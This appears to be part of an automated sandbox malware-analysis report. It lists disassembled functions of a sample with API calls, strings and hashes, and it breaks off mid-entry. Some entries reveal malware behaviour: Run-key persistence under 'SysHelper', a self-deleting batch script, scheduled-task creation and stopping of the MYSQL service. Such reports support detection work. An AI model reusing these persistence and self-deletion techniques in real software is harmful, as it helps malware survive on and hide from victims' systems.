Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Function 004329EC Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00424266,?,?,?,00000001), ref: 004329F1
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 004329FA

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 957f1cdd405d7a5f8fcfad9397a47528ed4c184e5d77963140c17adbcc220f91
Instruction ID: d7915fe9b98f2e2675b1eb18c11ae3c40c3bb41b36f5f7d781b256b54fe46c91
Opcode Fuzzy Hash: 957f1cdd405d7a5f8fcfad9397a47528ed4c184e5d77963140c17adbcc220f91
Instruction Fuzzy Hash: A7B09271044208ABDA802B93EC59F883F28EB04A62F084022F60D444628F6254508E99

Function 004329BB Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?,?,00431DA6,00431D5B), ref: 004329C1

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1db6f696b6536d5221d2cbd00a2ff6cb8be2218350df980964d78d67e6efdd32
Instruction ID: cc44753b31e70f30ed06b04cde14f86973f8491ae5a0d649e7a5859f7922213d
Opcode Fuzzy Hash: 1db6f696b6536d5221d2cbd00a2ff6cb8be2218350df980964d78d67e6efdd32
Instruction Fuzzy Hash: 69A0113000020CAB8A002B83EC088883F2CEA002A0B088022F80C008228B22A8208E88

Function 004278D5 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00423FED,00507990,00000014), ref: 004278D5

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction ID: c175dc67e46cb5b18e7b8d473ad54adbb7c8ff58e9170129aa5670ed77b5f39c
Opcode Fuzzy Hash: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction Fuzzy Hash: 79B012F0705102474B480B387C9804935D47708305300407DF00BC11A0EF70C860BA08

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

TEMP, xrefs: 004125DF
@echo off:trydel ", xrefs: 0041262A
"if exist ", xrefs: 00412648
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
" goto try, xrefs: 00412666
delself.bat, xrefs: 0041261C
del ", xrefs: 00412674
D, xrefs: 00412720

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

, xrefs: 00463A90
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----BEGIN , xrefs: 004636A4
-----END , xrefs: 0046382F, 00463940, 004639E4
-----, xrefs: 004636D4, 00463A21

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: f729ec156da57fca7fee0a65632cfd00bd7f39968df2b9978418747e4f1c509a
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: f729ec156da57fca7fee0a65632cfd00bd7f39968df2b9978418747e4f1c509a
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Function 00427B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(006F8D80), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

_OPENSSL_isservice, xrefs: 004549D1
Service-0x, xrefs: 00454A80

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OPENSSL, xrefs: 00454B77
OpenSSL: FATAL, xrefs: 00454BC7

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

SysHelper, xrefs: 004123D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

string too long, xrefs: 00418338
invalid string position, xrefs: 00418342

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

Comment, xrefs: 0040DBFF
--Task, xrefs: 0040DBB5
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
